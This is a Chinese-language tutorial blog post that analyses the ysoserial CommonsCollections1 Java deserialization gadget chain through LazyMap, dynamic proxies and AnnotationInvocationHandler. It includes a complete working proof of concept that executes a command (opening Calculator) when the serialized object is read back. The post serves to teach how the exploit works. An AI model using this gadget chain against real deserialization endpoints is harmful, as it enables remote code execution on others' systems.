0x00 前言
本文分析的是yso中的CommonCollections1中的payload
重点分析后半段,因为前半段在之前有详细说过因此就不再赘述
文章链接:
http://www.wjlshare.xyz/archives/1498
CommonCollections1 和 前面提到的利用不同,之前我们是利用TransformedMap来进行利用(TransformedMap的put方法会调用transform方法)
这里使用的是LazyMap中的方法,LazyMap相比之前的会更加麻烦一些,同时会用到动态代理
0x01 动态代理
在java的java.lang.reflect包下提供了一个Proxy类和一个InvocationHandler接口,通过这个类和这个接口可以生成JDK动态代理类和动态代理对象。
官方文档:
{@code InvocationHandler} is the interface implemented by
the <i>invocation handler</i> of a proxy instance.
<p>Each proxy instance has an associated invocation handler.
When a method is invoked on a proxy instance, the method
invocation is encoded and dispatched to the {@code invoke}
method of its invocation handler.
每一个动态代理类的调用处理程序都必须实现InvocationHandler接口,并且每个代理类的实例都关联到了实现该接口的动态代理类调用处理程序中,当我们通过动态代理对象调用一个方法时候,这个方法的调用就会被转发到实现InvocationHandler接口类的invoke方法来调用
InvocationHandler接口实现类,因为是Demo所以这里被代理的对象设置为了Map类型
class Demo implements InvocationHandler{
protected Map map;
public Demo(Map map){
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("调用了");
if (method.getName().compareTo("get") == 0){
return "Evil";
}
return method.invoke(this.map,args);
}
}
InvocationHandler invocationHandler = new Demo(new HashMap());
生成动态代理对象,动态代理对象每执行一个方法的时候,都会被转发到实现InvocationHandler接口类的invoke方法来及性能调用
// 传入要被代理的对象
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
举个例子:
public class Test {
public static void main(String[] args) {
class Demo implements InvocationHandler{
protected Map map;
public Demo(Map map){
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("调用了");
if (method.getName().compareTo("get") == 0){
return "Evil";
}
return method.invoke(this.map,args);
}
}
InvocationHandler invocationHandler = new Demo(new HashMap());
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
proxyMap.put("hello","world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}
可以看到代理对象一共执行了两个方法,根据结果我们可以看到invoke就被调用了两次,同时利用invoke劫持了我们的返回内容,正常情况下我们的返回内容为world
大致了解一下即可这里就不仔细说了
重点需要知道: 动态代理对象每执行一个方法的时候,都会被转发到实现InvocationHandler接口类的invoke方法来及性能调用
这个在下文的利用点中比较关键
0x02 分析
坑:在分析之前IDEA最好按如下设置,由于IDEA中Debug就利用toString,在过程中会调用代理类的toString方法从而造成非预期的命令执行
ps:好家伙这个地方卡了好几个小时就是因为这里没勾掉,导致利用点明明没到就触发了计算器,看的一头雾水!
红框处的勾全部取消
利用链
先来看我们的Poc:
public class CommonCollection1 {
public static void main(String[] args) throws Exception{
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap) LazyMap.decorate(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
// 创建一个与代理对象相关联的InvocationHandler
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
// 创建代理对象proxy_map来代理map,代理对象执行的所有方法都会替换执行InvocationHandler中的invoke方法
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("/Users/xxxxx/Desktop/evil1.bin"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("/Users/xxxx/Desktop/evil1.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
上半段我们在前面的文章仔细分析过了因此不再具体赘述
LazyMap
我们主要来看以下部分,也就是我们的LazyMap部分,同样的和之前的一样我们也需要在LazyMap中找到调用transform方法的地方
HashMap innermap = new HashMap();
LazyMap map = (LazyMap) LazyMap.decorate(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("/Users/xxxx/Desktop/evil1.bin"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("/Users/xxxx/Desktop/evil1.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
我们看到LazyMap的decorate方法,发现会将传入的ChainedTransformer作为Lazymap的factory属性
然后在LazyMap的get方法中,如果Key不存在map中,那么就会调用factory的transform方法,来创造value并且放到map中,由于调用了transform方法,从而触发实现命令执行
所以我们执行map.get()即可进行命令执行
但是这样利用面范围太小,我们期望的效果是后端直接执行readObject就可以进行命令的触发
所以我们的目的就是需要找到某个类的某个方法中能对map进行get的操作
AnnotationInvocationHandler
发现在AnnotationInvocationHandler的invoke方法中进行了get操作,代码第78行处
结合上面说到的动态代理,如果我们将AnnotationInvocationHandler作为被代理类,这样当代理类执行任意方法的时候都会执行被代理类中的invoke方法,也就是执行AnnotationInvocationHandler中的invoke方法
每一个动态代理类的调用处理程序都必须实现InvocationHandler接口,并且每个代理类的实例都关联到了实现该接口的动态代理类调用处理程序中,当我们通过动态代理对象调用一个方法时候,这个方法的调用就会被转发到实现InvocationHandler接口类的invoke方法来调用
而AnnotationInvocationHandler又实现了InvocationHandler接口
所以我们可以直接创建一个代理类实例来代理我们的AnnotationInvocationHandler,并且将前面的lazymap作为AnnotationInvocationHandler构造函数中的参数进行传入,这样我们只要调用proxy_map的任意方法,都会被转发到AnnotationInvocationHandler类中的invoke方法进行调用
// AnnotationInvocationHandler的构造方法不是公有的所以需要利用反射
Constructor handler_constructor =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
// 创建一个与代理对象(map)相关联的InvocationHandler
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
// 创建代理对象proxy_map,即执行proxy_map的任意方法都会替换执行Invocation中的invoke方法
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
但是这样还是不大够,因为这样还是无法执行命令
如果我们这里直接将proxy_map进行序列化,是不会执行命令的,因为此时我们被代理类的构造函数中传入的是lazymap,即AnnotationInvocationHandler(Override.class,map)
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
同时我们的构造函数会将map赋值给AnnotationInvocationHandler的memberValues属性,而此时的map为LazyMap
LazyMap map = (LazyMap) LazyMap.decorate(innermap,chain);
在反序列化过程中,由于memberValues是LazyMap,故memberValues.entrySet()是无法触发LazyMap#get导致命令执行的
Iterator var4 = this.memberValues.entrySet().iterator();
所以我们需要利用反射重新创建AnnotationInvocationHandler,来触发我们上面的代理对象,只要代理对象执行任意方法就可以命令执行
将上面的代理对象作为构造函数的参数进行输入,这样AnnotationInvocationHandler中的memberValues便会为我们的代理对象proxy_map
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
然后在AnnotationInvocationHandler的readObject反序列化过程中,红框处代码调用了代理对象的方法
memberValues.entrySet()
由于调用了代理对象的方法,所以代理类就会执行被代理类中的invoke方法,此时被代理的类是之前的AnnotationInvocationHandler 实例,传入的参数为(Override.class,map)的AnnotationInvocationHandler
当调用了AnnotationInvocationHandler的invoke方法,就会继续调用该方法中的get方法,又因为此时memberValues为LazyMap所以调用了LazyMap#get,从而执行了命令
下面是根据利用链描述的过程,应该能更好的理解
0x03 总结
这条链中比较绕的就是动态代理那里,我们需要分清前后分别是两个AnnotationInvocationHandler实例
第一处是利用invoke中的方法触发LazyMap中的get方法从而进行命令执行
// 简称为handler
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
第二处是为了执行代理类proxy_map的任意方法,从而触发第一处的invoke方法
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
0x04 参考链接
https://paper.seebug.org/1242/#_6
https://blog.csdn.net/yaomingyang/article/details/80981004
p牛-代码审计-Java漫谈